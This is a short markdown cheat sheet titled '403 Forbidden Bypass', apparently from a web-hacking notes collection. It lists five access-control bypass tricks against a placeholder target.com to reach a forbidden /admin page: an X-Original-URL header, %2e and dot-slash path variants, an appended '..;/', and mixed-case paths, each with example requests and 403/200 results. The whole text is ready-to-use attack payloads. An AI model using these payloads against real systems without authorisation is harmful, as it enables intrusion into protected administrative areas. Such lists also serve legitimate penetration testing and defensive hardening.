2020-09-09 14:53:05 +00:00
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# 403 Forbidden Bypass
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1. Using "X-Original-URL" header
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```
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GET /admin HTTP/1.1
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Host: target.com
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```
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Try this to bypass
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```
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GET /anything HTTP/1.1
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Host: target.com
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X-Original-URL: /admin
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```
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2. Appending **%2e** after the first slash
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```
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http://target.com/admin => 403
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```
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Try this to bypass
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```
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http://target.com/%2e/admin => 200
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```
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3. Try add dot (.) and slash (/) in the URL
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```
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http://target.com/admin => 403
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```
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Try this to bypass
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```
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http://target.com/admin/. => 200
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http://target.com//admin// => 200
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http://target.com/./admin/./ => 200
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```
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4. Add "..;/" after the directory name
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```
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http://target.com/admin
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```
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Try this to bypass
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```
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http://target.com/admin..;/
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```
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2020-09-09 14:56:10 +00:00
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2020-09-17 15:55:57 +00:00
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5. Try to uppercase the alphabet in the url
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```
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http://target.com/admin
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```
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Try this to bypass
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```
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http://target.com/aDmIN
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```
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Source: [@iam_j0ker](https://twitter.com/iam_j0ker)
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